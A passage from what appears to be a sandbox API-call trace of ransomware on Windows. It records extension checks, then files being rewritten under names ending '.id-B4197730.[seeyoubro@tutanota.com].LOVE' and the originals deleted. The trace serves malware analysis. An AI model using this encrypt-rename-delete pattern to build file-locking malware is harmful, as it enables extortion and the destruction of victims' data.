lpString2=".ico") returned 1 [0196.024] lstrlenW (lpString=".rar") returned 4 [0196.024] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.024] lstrlenW (lpString=".bz2") returned 4 [0196.024] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.024] lstrlenW (lpString=".7z") returned 3 [0196.024] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.024] lstrlenW (lpString=".dbf") returned 4 [0196.024] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.024] lstrlenW (lpString=".1cd") returned 4 [0196.024] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.024] lstrlenW (lpString=".jpg") returned 4 [0196.024] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.024] lstrlenW (lpString=".doc") returned 4 [0196.024] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.024] lstrlenW (lpString=".docx") returned 5 [0196.024] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0196.024] lstrlenW (lpString=".pdf") returned 4 [0196.025] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.025] lstrlenW (lpString=".xls") returned 4 [0196.025] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.025] lstrlenW (lpString=".xlsx") returned 5 [0196.025] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0196.025] lstrlenW (lpString=".ppt") returned 4 [0196.025] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.025] lstrlenW (lpString=".zip") returned 4 [0196.025] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.025] lstrlenW (lpString=".rar") returned 4 [0196.025] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.025] lstrlenW (lpString=".bz2") returned 4 [0196.025] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.025] lstrlenW (lpString=".7z") returned 3 [0196.025] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.025] lstrlenW (lpString=".dbf") returned 4 [0196.025] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.025] lstrlenW (lpString=".1cd") returned 4 [0196.025] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.025] lstrlenW (lpString=".jpg") returned 4 [0196.025] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.025] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0196.025] lstrlenW (lpString="Save.ico") returned 8 [0196.026] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0196.027] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=1150) returned 1 [0196.027] CloseHandle (hObject=0x2fc) returned 1 [0196.027] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0196.027] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.027] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0196.027] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.028] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0196.028] GetLastError () returned 0x0 [0196.028] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x47e, lpOverlapped=0x0) returned 1 [0196.037] WriteFile (in: hFile=0x2b0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x480, lpOverlapped=0x0) returned 1 [0196.038] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.038] WriteFile (in: hFile=0x2b0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.039] SetEndOfFile (hFile=0x2b0) returned 1 [0196.039] CloseHandle (hObject=0x2b0) returned 1 [0196.039] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.039] SetEndOfFile (hFile=0x2c4) returned 1 [0196.040] CloseHandle (hObject=0x2c4) returned 1 [0196.040] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.040] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0196.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.040] lstrlenW (lpString=".doc") returned 4 [0196.041] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.041] lstrlenW (lpString=".docx") returned 5 [0196.041] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0196.041] lstrlenW (lpString=".pdf") returned 4 [0196.041] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.041] lstrlenW (lpString=".xls") returned 4 [0196.041] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.041] lstrlenW (lpString=".xlsx") returned 5 [0196.041] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0196.041] lstrlenW (lpString=".ppt") returned 4 [0196.041] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.041] lstrlenW (lpString=".zip") returned 4 [0196.041] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.041] lstrlenW (lpString=".rar") returned 4 [0196.041] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.041] lstrlenW (lpString=".bz2") returned 4 [0196.041] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.041] lstrlenW (lpString=".7z") returned 3 [0196.041] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.041] lstrlenW (lpString=".dbf") returned 4 [0196.041] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.041] lstrlenW (lpString=".1cd") returned 4 [0196.041] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.041] lstrlenW (lpString=".jpg") returned 4 [0196.041] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.042] lstrlenW (lpString=".doc") returned 4 [0196.042] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.042] lstrlenW (lpString=".docx") returned 5 [0196.042] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0196.042] lstrlenW (lpString=".pdf") returned 4 [0196.042] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.042] lstrlenW (lpString=".xls") returned 4 [0196.042] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.042] lstrlenW (lpString=".xlsx") returned 5 [0196.042] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0196.042] lstrlenW (lpString=".ppt") returned 4 [0196.042] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.042] lstrlenW (lpString=".zip") returned 4 [0196.042] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.042] lstrlenW (lpString=".rar") returned 4 [0196.042] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.042] lstrlenW (lpString=".bz2") returned 4 [0196.042] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.042] lstrlenW (lpString=".7z") returned 3 [0196.042] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.042] lstrlenW (lpString=".dbf") returned 4 [0196.042] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.043] lstrlenW (lpString=".1cd") returned 4 [0196.043] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0196.043] lstrlenW (lpString=".jpg") returned 4 [0196.043] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.043] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0196.043] lstrlenW (lpString="Setup.ico") returned 9 [0196.043] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0196.043] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=36710) returned 1 [0196.043] CloseHandle (hObject=0x2c4) returned 1 [0196.043] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0196.043] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.043] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0196.044] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.044] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0196.044] GetLastError () returned 0x0 [0196.044] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x8f66, lpOverlapped=0x0) returned 1 [0196.054] WriteFile (in: hFile=0x2b0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x8f70, lpOverlapped=0x0) returned 1 [0196.056] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.056] WriteFile (in: hFile=0x2b0, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xe6, lpOverlapped=0x0) returned 1 [0196.056] SetEndOfFile (hFile=0x2b0) returned 1 [0196.056] CloseHandle (hObject=0x2b0) returned 1 [0196.061] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.061] SetEndOfFile (hFile=0x2c4) returned 1 [0196.061] CloseHandle (hObject=0x2c4) returned 1 [0196.061] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.310] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0196.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.564] lstrlenW (lpString=".doc") returned 4 [0196.564] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.564] lstrlenW (lpString=".docx") returned 5 [0196.564] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0196.564] lstrlenW (lpString=".pdf") returned 4 [0196.564] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.564] lstrlenW (lpString=".xls") returned 4 [0196.564] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.564] lstrlenW (lpString=".xlsx") returned 5 [0196.564] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0196.564] lstrlenW (lpString=".ppt") returned 4 [0196.564] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.564] lstrlenW (lpString=".zip") returned 4 [0196.565] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.565] lstrlenW (lpString=".rar") returned 4 [0196.565] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.565] lstrlenW (lpString=".bz2") returned 4 [0196.565] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.565] lstrlenW (lpString=".7z") returned 3 [0196.565] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.565] lstrlenW (lpString=".dbf") returned 4 [0196.565] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.565] lstrlenW (lpString=".1cd") returned 4 [0196.565] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.565] lstrlenW (lpString=".jpg") returned 4 [0196.565] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.565] lstrlenW (lpString=".doc") returned 4 [0196.565] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.565] lstrlenW (lpString=".docx") returned 5 [0196.565] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0196.565] lstrlenW (lpString=".pdf") returned 4 [0196.565] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.565] lstrlenW (lpString=".xls") returned 4 [0196.565] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.565] lstrlenW (lpString=".xlsx") returned 5 [0196.565] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0196.565] lstrlenW (lpString=".ppt") returned 4 [0196.565] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.566] lstrlenW (lpString=".zip") returned 4 [0196.566] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.566] lstrlenW (lpString=".rar") returned 4 [0196.566] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.566] lstrlenW (lpString=".bz2") returned 4 [0196.566] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.566] lstrlenW (lpString=".7z") returned 3 [0196.566] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.566] lstrlenW (lpString=".dbf") returned 4 [0196.566] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.566] lstrlenW (lpString=".1cd") returned 4 [0196.566] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0196.566] lstrlenW (lpString=".jpg") returned 4 [0196.566] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.566] lstrcmpiW (lpString1=".msi", lpString2=".LOVE") returned 1 [0196.566] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0196.566] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.567] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=1163264) returned 1 [0196.567] CloseHandle (hObject=0x2d8) returned 1 [0196.567] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0196.567] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.567] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.567] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.567] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.568] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0196.568] GetLastError () returned 0x0 [0196.568] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0196.611] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0196.986] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x1c010, lpOverlapped=0x0) returned 1 [0196.998] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x1c020, lpOverlapped=0x0) returned 1 [0197.004] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.004] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf8, lpOverlapped=0x0) returned 1 [0197.004] SetEndOfFile (hFile=0x2c4) returned 1 [0197.045] CloseHandle (hObject=0x2c4) returned 1 [0197.067] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.067] SetEndOfFile (hFile=0x2d8) returned 1 [0197.068] CloseHandle (hObject=0x2d8) returned 1 [0197.068] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.069] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0197.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.069] lstrlenW (lpString=".doc") returned 4 [0197.069] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0197.069] lstrlenW (lpString=".docx") returned 5 [0197.069] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0197.069] lstrlenW (lpString=".pdf") returned 4 [0197.069] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0197.069] lstrlenW (lpString=".xls") returned 4 [0197.069] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0197.069] lstrlenW (lpString=".xlsx") returned 5 [0197.069] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0197.069] lstrlenW (lpString=".ppt") returned 4 [0197.069] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0197.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.069] lstrlenW (lpString=".zip") returned 4 [0197.069] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0197.069] lstrlenW (lpString=".rar") returned 4 [0197.069] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0197.069] lstrlenW (lpString=".bz2") returned 4 [0197.069] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0197.069] lstrlenW (lpString=".7z") returned 3 [0197.069] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0197.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.069] lstrlenW (lpString=".dbf") returned 4 [0197.069] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0197.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.070] lstrlenW (lpString=".1cd") returned 4 [0197.070] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0197.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.070] lstrlenW (lpString=".jpg") returned 4 [0197.070] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0197.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.070] lstrlenW (lpString=".doc") returned 4 [0197.070] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0197.070] lstrlenW (lpString=".docx") returned 5 [0197.070] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0197.070] lstrlenW (lpString=".pdf") returned 4 [0197.070] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0197.070] lstrlenW (lpString=".xls") returned 4 [0197.070] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0197.070] lstrlenW (lpString=".xlsx") returned 5 [0197.070] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0197.070] lstrlenW (lpString=".ppt") returned 4 [0197.070] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0197.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.070] lstrlenW (lpString=".zip") returned 4 [0197.070] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0197.070] lstrlenW (lpString=".rar") returned 4 